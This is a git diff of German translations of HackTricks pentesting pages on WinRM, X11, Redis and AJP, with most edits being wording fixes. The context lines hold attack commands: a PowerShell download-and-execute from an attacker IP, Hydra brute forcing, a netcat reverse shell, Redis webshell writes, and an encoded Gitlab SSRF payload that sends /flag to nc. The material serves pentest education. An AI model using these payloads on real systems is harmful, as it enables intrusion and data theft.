* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -15,7 +15,7 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
@ -23,7 +23,7 @@ Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)
Engagieren Sie sich mit Inhalten, die in den Nervenkitzel und die Herausforderungen des Hackens eintauchen
**Echtzeit-Hack-Nachrichten**\
Bleiben Sie auf dem Laufenden über die schnelllebige Hacking-Welt durch Echtzeitnachrichten und Einblicke
Bleiben Sie auf dem Laufenden über die schnelllebige Hacking-Welt durch Echtzeit-Nachrichten und Einblicke
**Neueste Ankündigungen**\
Bleiben Sie informiert über die neuesten Bug-Bounties und wichtige Plattform-Updates
@ -48,7 +48,7 @@ Um PowerShell für WinRM zu konfigurieren, kommt Microsofts `Enable-PSRemoting`
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
```
Dieser Ansatz beinhaltet das Hinzufügen eines Wildcards zur `trustedhosts`-Konfiguration, ein Schritt, der aufgrund seiner Auswirkungen sorgfältige Überlegungen erfordert. Es wird auch angemerkt, dass es notwendig sein könnte, den Netzwerktyp von "Öffentlich" auf "Arbeit" auf dem Rechner des Angreifers zu ändern.
Dieser Ansatz beinhaltet das Hinzufügen eines Wildcards zur `trustedhosts`-Konfiguration, ein Schritt, der sorgfältige Überlegungen aufgrund seiner Implikationen erfordert. Es wird auch angemerkt, dass es notwendig sein könnte, den Netzwerktyp von "Öffentlich" auf "Arbeit" auf dem Rechner des Angreifers zu ändern.
Darüber hinaus kann WinRM **remote aktiviert** werden, indem der `wmic`-Befehl verwendet wird, wie folgt demonstriert:
```powershell
@ -58,7 +58,7 @@ Diese Methode ermöglicht die Remote-Einrichtung von WinRM und verbessert die Fl
### Testen, ob konfiguriert
Um die Einrichtung Ihrer Angriffsmaschine zu überprüfen, wird der Befehl `Test-WSMan` verwendet, um zu prüfen, ob das Ziel WinRM ordnungsgemäß konfiguriert hat. Durch die Ausführung dieses Befehls sollten Sie Details zur Protokollversion und wsmid erwarten, die auf eine erfolgreiche Konfiguration hinweisen. Nachfolgend sind Beispiele aufgeführt, die die erwartete Ausgabe für ein konfiguriertes Ziel im Vergleich zu einem nicht konfigurierten zeigen:
Um die Einrichtung Ihrer Angriffsmaschine zu überprüfen, wird der Befehl `Test-WSMan` verwendet, um zu prüfen, ob das Ziel WinRM ordnungsgemäß konfiguriert hat. Durch die Ausführung dieses Befehls sollten Sie Details zur Protokollversion und wsmid erhalten, die auf eine erfolgreiche Konfiguration hinweisen. Nachfolgend sind Beispiele aufgeführt, die die erwartete Ausgabe für ein konfiguriertes Ziel im Vergleich zu einem nicht konfigurierten zeigen:
* Für ein Ziel, das **ordentlich** konfiguriert ist, wird die Ausgabe ähnlich wie folgt aussehen:
```bash
@ -68,7 +68,7 @@ Die Antwort sollte Informationen über die Protokollversion und wsmid enthalten,
![](<../.gitbook/assets/image (582).png>)
* Im Gegensatz dazu würde es für ein Ziel, das **nicht** für WinRM konfiguriert ist, keine solchen detaillierten Informationen geben, was das Fehlen einer ordnungsgemäßen WinRM-Konfiguration hervorhebt.
* Im Gegensatz dazu würde ein Ziel, das **nicht** für WinRM konfiguriert ist, keine solchen detaillierten Informationen liefern, was das Fehlen einer ordnungsgemäßen WinRM-Konfiguration hervorhebt.
![](<../.gitbook/assets/image (458).png>)
@ -92,9 +92,9 @@ Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-c
```powershell
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
```
### Erhalte eine PS-Sitzung
### Eine PS-Sitzung erhalten
Um eine interaktive PowerShell-Shell zu erhalten, verwende `Enter-PSSession`:
Um eine interaktive PowerShell-Shell zu erhalten, verwenden Sie `Enter-PSSession`:
```powershell
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
@ -115,9 +115,9 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New
**Die Sitzung wird in einem neuen Prozess (wsmprovhost) innerhalb des "Opfers" ausgeführt**
### **WinRM Öffnen Erzwingen**
### **WinRM Zwingen, Offen zu sein**
Um PS Remoting und WinRM zu verwenden, aber der Computer nicht konfiguriert ist, könnten Sie es mit folgendem aktivieren:
Um PS Remoting und WinRM zu verwenden, aber der Computer nicht konfiguriert ist, könnten Sie es mit aktivieren:
```powershell
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
```
@ -143,21 +143,21 @@ Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
Wenn Sie den folgenden Fehler finden:
`enter-pssession : Verbindung zum Remote-Server 10.10.10.175 fehlgeschlagen mit der folgenden Fehlermeldung : Der WinRM-Client kann die Anfrage nicht verarbeiten. Wenn das Authentifizierungsschema von Kerberos abweicht oder wenn der Client-Computer nicht zu einer Domäne gehört, muss HTTPS-Transport verwendet werden oder die Zielmaschine muss zur TrustedHosts-Konfiguration hinzugefügt werden. Verwenden Sie winrm.cmd, um TrustedHosts zu konfigurieren. Beachten Sie, dass Computer in der TrustedHosts-Liste möglicherweise nicht authentifiziert sind. Sie können weitere Informationen dazu erhalten, indem Sie den folgenden Befehl ausführen: winrm help config. Für weitere Informationen siehe das Hilfethema about_Remote_Troubleshooting.`
`enter-pssession : Verbindung zum Remote-Server 10.10.10.175 fehlgeschlagen mit der folgenden Fehlermeldung : Der WinRM-Client kann die Anfrage nicht verarbeiten. Wenn das Authentifizierungsschema von Kerberos abweicht oder wenn der Client-Computer nicht zu einer Domäne gehört, muss HTTPS-Transport verwendet werden oder die Zielmaschine muss zur TrustedHosts-Konfiguration hinzugefügt werden. Verwenden Sie winrm.cmd, um TrustedHosts zu konfigurieren. Beachten Sie, dass Computer in der TrustedHosts-Liste möglicherweise nicht authentifiziert sind. Sie können weitere Informationen dazu erhalten, indem Sie den folgenden Befehl ausführen: winrm help config. Weitere Informationen finden Sie im Hilfethema about_Remote_Troubleshooting.`
Der Versuch auf dem Client (Informationen von [hier](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
```ruby
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
```
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Tritt dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
**Hacking Einblicke**\
Engagiere dich mit Inhalten, die in den Nervenkitzel und die Herausforderungen des Hackens eintauchen
**Echtzeit-Hack-Nachrichten**\
**Echtzeit Hack Nachrichten**\
Bleibe auf dem Laufenden über die schnelllebige Hack-Welt durch Echtzeit-Nachrichten und Einblicke
**Neueste Ankündigungen**\
@ -304,7 +304,7 @@ Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
```
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Tritt dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
@ -317,7 +317,7 @@ Bleibe auf dem Laufenden über die schnelllebige Hack-Welt durch Echtzeit-Nachri
**Neueste Ankündigungen**\
Bleibe informiert über die neuesten Bug-Bounties, die gestartet werden, und wichtige Plattform-Updates
**Tritt uns bei** [**Discord**](https://discord.com/invite/N3FrSbmwdy) und beginne noch heute mit den besten Hackern zusammenzuarbeiten!
**Tritt uns bei** [**Discord**](https://discord.com/invite/N3FrSbmwdy) bei und beginne noch heute mit den besten Hackern zusammenzuarbeiten!
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -15,7 +15,7 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
@ -23,7 +23,7 @@ Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)
Engagieren Sie sich mit Inhalten, die in den Nervenkitzel und die Herausforderungen des Hackens eintauchen
**Echtzeit-Hack-Nachrichten**\
Bleiben Sie auf dem Laufenden über die schnelllebige Hacking-Welt durch Echtzeitnachrichten und Einblicke
Bleiben Sie auf dem Laufenden über die schnelllebige Hacking-Welt durch Echtzeit-Nachrichten und Einblicke
**Neueste Ankündigungen**\
Bleiben Sie informiert über die neuesten Bug-Bounties und wichtige Plattform-Updates
@ -56,10 +56,10 @@ $ xxd ~/.Xauthority
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X
00000030: 041d ef ...
```
> MIT-magic-cookie-1: Generierung von 128 Bit Schlüssel (“cookie”), Speicherung in \~/.Xauthority (oder wo die XAUTHORITY-Umgebungsvariable zeigt). Der Client sendet ihn unverschlüsselt an den Server! Der Server überprüft, ob er eine Kopie dieses “cookie” hat, und wenn ja, wird die Verbindung erlaubt. Der Schlüssel wird von DMX generiert.
> MIT-magic-cookie-1: Generierung von 128 Bit Schlüssel (“cookie”), Speicherung in \~/.Xauthority (oder wo die XAUTHORITY-Umgebungsvariable zeigt). Der Client sendet ihn unverschlüsselt an den Server! Der Server überprüft, ob er eine Kopie dieses “cookies” hat, und wenn ja, wird die Verbindung erlaubt. Der Schlüssel wird von DMX generiert.
{% hint style="warning" %}
Um den **cookie** zu verwenden, sollten Sie die Umgebungsvariable setzen: **`export XAUTHORITY=/path/to/.Xauthority`**
Um den **cookie** zu **verwenden**, sollten Sie die Umgebungsvariable setzen: **`export XAUTHORITY=/path/to/.Xauthority`**
{% endhint %}
#### Lokale Aufzählungssitzung
@ -139,11 +139,11 @@ Für **Live-Ansicht** müssen wir verwenden
```
msf> use exploit/unix/x11/x11_keyboard_exec
```
**Reverse Shell:** Xrdp ermöglicht auch das Erstellen einer Reverse Shell über Netcat. Geben Sie den folgenden Befehl ein:
**Reverse Shell:** Xrdp ermöglicht auch das Erhalten einer Reverse Shell über Netcat. Geben Sie den folgenden Befehl ein:
```bash
./xrdp.py \<IP:0> no-disp
```
In der Benutzeroberfläche sehen Sie die **R-shell-Option**.
In der Schnittstelle sehen Sie die **R-shell-Option**.
Starten Sie dann einen **Netcat-Listener** auf Ihrem lokalen System auf Port 5555.
```bash
@ -161,7 +161,7 @@ Dann geben Sie Ihre IP-Adresse und den Port in die **R-Shell**-Option ein und kl
* `port:6000 x11`
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
@ -169,7 +169,7 @@ Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)
Engagieren Sie sich mit Inhalten, die in die Aufregung und Herausforderungen des Hackens eintauchen
**Echtzeit-Hack-Nachrichten**\
Bleiben Sie auf dem Laufenden über die schnelllebige Welt des Hackens durch Echtzeitnachrichten und Einblicke
Bleiben Sie auf dem Laufenden über die schnelllebige Hackerwelt durch Echtzeitnachrichten und Einblicke
**Neueste Ankündigungen**\
Bleiben Sie informiert über die neuesten Bug-Bounties und wichtige Plattform-Updates

View file

@ -6,7 +6,7 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
<details>
<summary>Support HackTricks</summary>
<summary>Unterstützen Sie HackTricks</summary>
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -15,7 +15,7 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
@ -23,16 +23,16 @@ Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)
Engagieren Sie sich mit Inhalten, die in den Nervenkitzel und die Herausforderungen des Hackens eintauchen
**Echtzeit-Hack-Nachrichten**\
Bleiben Sie auf dem Laufenden über die schnelllebige Hacking-Welt durch Echtzeitnachrichten und Einblicke
Bleiben Sie auf dem Laufenden über die schnelllebige Hackerwelt durch Echtzeitnachrichten und Einblicke
**Neueste Ankündigungen**\
Bleiben Sie informiert über die neuesten Bug-Bounties und wichtige Plattform-Updates
**Treten Sie uns auf** [**Discord**](https://discord.com/invite/N3FrSbmwdy) bei und beginnen Sie noch heute mit der Zusammenarbeit mit den besten Hackern!
**Treten Sie uns auf** [**Discord**](https://discord.com/invite/N3FrSbmwdy) bei und beginnen Sie noch heute mit den besten Hackern zusammenzuarbeiten!
## Grundinformationen
Aus [den Dokumenten](https://redis.io/topics/introduction): Redis ist ein Open-Source (BSD-lizenziert), in-memory **Datenstruktur-Store**, der als **Datenbank**, Cache und Nachrichtenbroker verwendet wird.
Aus [den Dokumenten](https://redis.io/topics/introduction): Redis ist ein Open-Source (BSD-lizenziert), In-Memory **Datenstruktur-Store**, der als **Datenbank**, Cache und Nachrichtenbroker verwendet wird.
Standardmäßig verwendet Redis ein textbasiertes Protokoll, aber Sie müssen beachten, dass es auch **ssl/tls** implementieren kann. Erfahren Sie, wie Sie [Redis mit ssl/tls hier ausführen](https://fossies.org/linux/redis/TLS.md).
@ -68,15 +68,15 @@ In diesem letzten Fall bedeutet dies, dass **Sie gültige Anmeldeinformationen b
### Redis-Authentifizierung
**Standardmäßig** kann Redis **ohne Anmeldeinformationen** zugegriffen werden. Es kann jedoch **konfiguriert** werden, um **nur Passwort oder Benutzername + Passwort** zu unterstützen.\
Es ist möglich, ein **Passwort** in der _**redis.conf**_-Datei mit dem Parameter `requirepass` **oder vorübergehend** bis zum Neustart des Dienstes festzulegen, indem man sich mit ihm verbindet und Folgendes ausführt: `config set requirepass p@ss$12E45`.\
Es ist möglich, ein **Passwort** in der _**redis.conf**_-Datei mit dem Parameter `requirepass` **oder vorübergehend** festzulegen, bis der Dienst neu gestartet wird, indem man sich mit ihm verbindet und Folgendes ausführt: `config set requirepass p@ss$12E45`.\
Außerdem kann ein **Benutzername** im Parameter `masteruser` innerhalb der _**redis.conf**_-Datei konfiguriert werden.
{% hint style="info" %}
Wenn nur ein Passwort konfiguriert ist, wird der verwendete Benutzername "**default**" sein.\
Wenn nur ein Passwort konfiguriert ist, ist der verwendete Benutzername "**default**".\
Beachten Sie auch, dass es **keinen Weg gibt, extern zu erkennen**, ob Redis nur mit Passwort oder Benutzername+Passwort konfiguriert wurde.
{% endhint %}
In Fällen wie diesem müssen Sie **gültige Anmeldeinformationen finden**, um mit Redis zu interagieren, sodass Sie versuchen könnten, es [**brute-force**](../generic-methodologies-and-resources/brute-force.md#redis) zu machen.\
In Fällen wie diesem müssen Sie **gültige Anmeldeinformationen finden**, um mit Redis zu interagieren, sodass Sie versuchen könnten, es [**brute-force**](../generic-methodologies-and-resources/brute-force.md#redis) anzugreifen.\
**Falls Sie gültige Anmeldeinformationen gefunden haben, müssen Sie die Sitzung authentifizieren**, nachdem Sie die Verbindung mit dem Befehl hergestellt haben:
```bash
AUTH <username> <password>
@ -106,7 +106,7 @@ Sie können auch **in Echtzeit die ausgeführten Redis-Befehle überwachen** mit
Finden Sie hier weitere interessante Informationen zu weiteren Redis-Befehlen: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
### **Datenbank dumpen**
### **Datenbankdump**
Innerhalb von Redis sind die **Datenbanken Zahlen, die bei 0 beginnen**. Sie können herausfinden, ob jemand verwendet wird, indem Sie die Ausgabe des Befehls `info` im Abschnitt "Keyspace" überprüfen:
@ -139,9 +139,9 @@ HGET <KEY> <FIELD>
# If the type used is weird you can always do:
DUMP <key>
```
**Dumpen Sie die Datenbank mit npm**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **oder python** [**redis-utils**](https://pypi.org/project/redis-utils/)
**Dumpen Sie die Datenbank mit npm** [**redis-dump**](https://www.npmjs.com/package/redis-dump) **oder python** [**redis-utils**](https://pypi.org/project/redis-utils/)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
@ -149,7 +149,7 @@ Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)
Engagieren Sie sich mit Inhalten, die in den Nervenkitzel und die Herausforderungen des Hackens eintauchen
**Echtzeit-Hack-Nachrichten**\
Bleiben Sie auf dem Laufenden mit der schnelllebigen Hack-Welt durch Echtzeit-Nachrichten und Einblicke
Bleiben Sie auf dem Laufenden über die schnelllebige Hack-Welt durch Echtzeit-Nachrichten und Einblicke
**Neueste Ankündigungen**\
Bleiben Sie informiert über die neuesten Bug-Bounties, die gestartet werden, und wichtige Plattform-Updates
@ -178,7 +178,7 @@ OK
10.85.0.52:6379> save
OK
```
Wenn der Webshell-Zugriff fehlschlägt, können Sie die Datenbank nach dem Backup leeren und es erneut versuchen. Denken Sie daran, die Datenbank wiederherzustellen.
Wenn die Webshell-Zugriffs-Ausnahme auftritt, können Sie die Datenbank nach dem Backup leeren und es erneut versuchen. Denken Sie daran, die Datenbank wiederherzustellen.
### Template Webshell
@ -268,7 +268,7 @@ Einige **CVEs zur Umgehung von LUA**:
### Master-Slave-Modul
Der Master-Redis synchronisiert alle Operationen automatisch mit dem Slave-Redis, was bedeutet, dass wir die verwundbare Redis als Slave-Redis betrachten können, das mit dem Master-Redis verbunden ist, den wir selbst kontrollieren. Dann können wir den Befehl in unser eigenes Redis eingeben.
Der Master-Redis synchronisiert alle Operationen automatisch mit dem Slave-Redis, was bedeutet, dass wir die verwundbare Redis als Slave-Redis betrachten können, das mit dem Master-Redis verbunden ist, den wir selbst kontrollieren. Dann können wir den Befehl in unser eigenes Redis eingeben.
```
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
@ -296,7 +296,7 @@ Daher, wenn Sie eine **SSRF vuln** auf einer Website finden und Sie einige **Hea
### Beispiel: Gitlab SSRF + CRLF zu Shell
In **Gitlab11.4.7** wurden eine **SSRF**-Schwachstelle und eine **CRLF** entdeckt. Die **SSRF**-Schwachstelle befand sich in der **Importprojekt von URL-Funktionalität**, als ein neues Projekt erstellt wurde, und erlaubte den Zugriff auf beliebige IPs in der Form \[0:0:0:0:0:ffff:127.0.0.1] (dies wird auf 127.0.0.1 zugreifen), und die **CRLF**-vuln wurde einfach ausgenutzt, indem **%0D%0A**-Zeichen zur **URL** hinzugefügt wurden.
In **Gitlab11.4.7** wurden eine **SSRF**-Schwachstelle und eine **CRLF** entdeckt. Die **SSRF**-Schwachstelle befand sich in der **Importprojekt von URL-Funktionalität**, als ein neues Projekt erstellt wurde, und erlaubte den Zugriff auf beliebige IPs in der Form \[0:0:0:0:0:ffff:127.0.0.1] (dies wird auf 127.0.0.1 zugreifen), und die **CRLF**-vuln wurde ausgenutzt, indem einfach **%0D%0A**-Zeichen zur **URL** hinzugefügt wurden.
Daher war es möglich, **diese Schwachstellen auszunutzen, um mit der Redis-Instanz zu kommunizieren**, die **Warteschlangen** von **gitlab** verwaltet, und diese Warteschlangen auszunutzen, um **Codeausführung zu erhalten**. Die Payload für den Missbrauch der Redis-Warteschlange ist:
```
@ -309,9 +309,9 @@ Und die **URL encode** Anfrage **missbraucht SSRF** und **CRLF**, um ein `whoami
```
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```
_F aus irgendeinem Grund (wie beim Autor von_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _woher diese Informationen stammen) funktionierte die Ausnutzung mit dem `git`-Schema und nicht mit dem `http`-Schema._
_aus irgendeinem Grund (wie für den Autor von_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _woher diese Informationen stammen) funktionierte die Ausnutzung mit dem `git`-Schema und nicht mit dem `http`-Schema._
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Tritt dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
@ -324,7 +324,7 @@ Bleiben Sie auf dem Laufenden mit der schnelllebigen Hack-Welt durch Echtzeit-Na
**Neueste Ankündigungen**\
Bleiben Sie informiert über die neuesten Bug-Bounties, die gestartet werden, und wichtige Plattform-Updates
**Tritt uns bei** [**Discord**](https://discord.com/invite/N3FrSbmwdy) und beginne noch heute mit den besten Hackern zusammenzuarbeiten!
**Treten Sie uns bei** [**Discord**](https://discord.com/invite/N3FrSbmwdy) und beginnen Sie noch heute mit den besten Hackern zusammenzuarbeiten!
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -335,7 +335,7 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
<summary>Unterstützen Sie HackTricks</summary>
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>

View file

@ -15,7 +15,7 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
@ -34,11 +34,11 @@ Bleiben Sie informiert über die neuesten Bug-Bounties und wichtige Plattform-Up
Von: [https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/](https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/)
> AJP ist ein Drahtprotokoll. Es ist eine optimierte Version des HTTP-Protokolls, um einem eigenständigen Webserver wie [Apache](http://httpd.apache.org/) die Kommunikation mit Tomcat zu ermöglichen. Historisch gesehen war Apache beim Bereitstellen von statischen Inhalten viel schneller als Tomcat. Die Idee ist, Apache die statischen Inhalte, wenn möglich, bereitstellen zu lassen, aber die Anfrage an Tomcat für Tomcat-bezogene Inhalte weiterzuleiten.
> AJP ist ein Drahtprotokoll. Es ist eine optimierte Version des HTTP-Protokolls, um einem eigenständigen Webserver wie [Apache](http://httpd.apache.org/) zu ermöglichen, mit Tomcat zu kommunizieren. Historisch gesehen war Apache beim Bereitstellen von statischen Inhalten viel schneller als Tomcat. Die Idee ist, Apache die statischen Inhalte bereitzustellen, wenn möglich, aber die Anfrage an Tomcat für Tomcat-bezogene Inhalte weiterzuleiten.
Auch interessant:
> Das ajp13-Protokoll ist paketorientiert. Ein binäres Format wurde vermutlich aus Leistungsgründen gegenüber dem lesbareren Klartext gewählt. Der Webserver kommuniziert über TCP-Verbindungen mit dem Servlet-Container. Um den kostspieligen Prozess der Socket-Erstellung zu reduzieren, wird der Webserver versuchen, persistente TCP-Verbindungen zum Servlet-Container aufrechtzuerhalten und eine Verbindung für mehrere Anfrage-/Antwortzyklen wiederzuverwenden.
> Das ajp13-Protokoll ist paketorientiert. Ein binäres Format wurde vermutlich aus Leistungsgründen gegenüber dem lesbareren Klartext gewählt. Der Webserver kommuniziert über TCP-Verbindungen mit dem Servlet-Container. Um den kostspieligen Prozess der Socket-Erstellung zu reduzieren, wird der Webserver versuchen, persistente TCP-Verbindungen zum Servlet-Container aufrechtzuerhalten und eine Verbindung für mehrere Anfrage/Antwort-Zyklen wiederzuverwenden.
**Standardport:** 8009
```
@ -147,7 +147,7 @@ docker run -it --rm -p 80:80 nginx-ajp-proxy
```
### Apache AJP Proxy
Es ist selten, einen offenen Port 8009 ohne andere zugängliche Webports zu finden. Es ist jedoch immer noch möglich, ihn mit **Metasploit** auszunutzen. Durch die Nutzung von **Apache** als Proxy können Anfragen an **Tomcat** auf Port 8009 umgeleitet werden.
Es ist selten, auf einen offenen Port 8009 ohne andere zugängliche Webports zu stoßen. Es ist jedoch immer noch möglich, ihn mit **Metasploit** auszunutzen. Durch die Nutzung von **Apache** als Proxy können Anfragen an **Tomcat** auf Port 8009 umgeleitet werden.
```bash
sudo apt-get install libapache2-mod-jk
sudo vim /etc/apache2/apache2.conf # append the following line to the config
@ -174,20 +174,20 @@ msf exploit(tomcat_mgr_deploy) > show options
* [https://github.com/yaoweibin/nginx\_ajp\_module](https://github.com/yaoweibin/nginx\_ajp\_module)
* [https://academy.hackthebox.com/module/145/section/1295](https://academy.hackthebox.com/module/145/section/1295)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Tritt dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
**Hacking Einblicke**\
Engagiere dich mit Inhalten, die in den Nervenkitzel und die Herausforderungen des Hackens eintauchen
**Echtzeit Hack Nachrichten**\
**Echtzeit-Hack-Nachrichten**\
Bleibe auf dem Laufenden über die schnelllebige Hackerwelt durch Echtzeitnachrichten und Einblicke
**Neueste Ankündigungen**\
Bleibe informiert über die neuesten Bug-Bounties und wichtige Plattform-Updates
**Tritt uns bei** [**Discord**](https://discord.com/invite/N3FrSbmwdy) und beginne noch heute mit den besten Hackern zusammenzuarbeiten!
**Tritt uns bei auf** [**Discord**](https://discord.com/invite/N3FrSbmwdy) und beginne noch heute mit den besten Hackern zusammenzuarbeiten!
{% hint style="success" %}
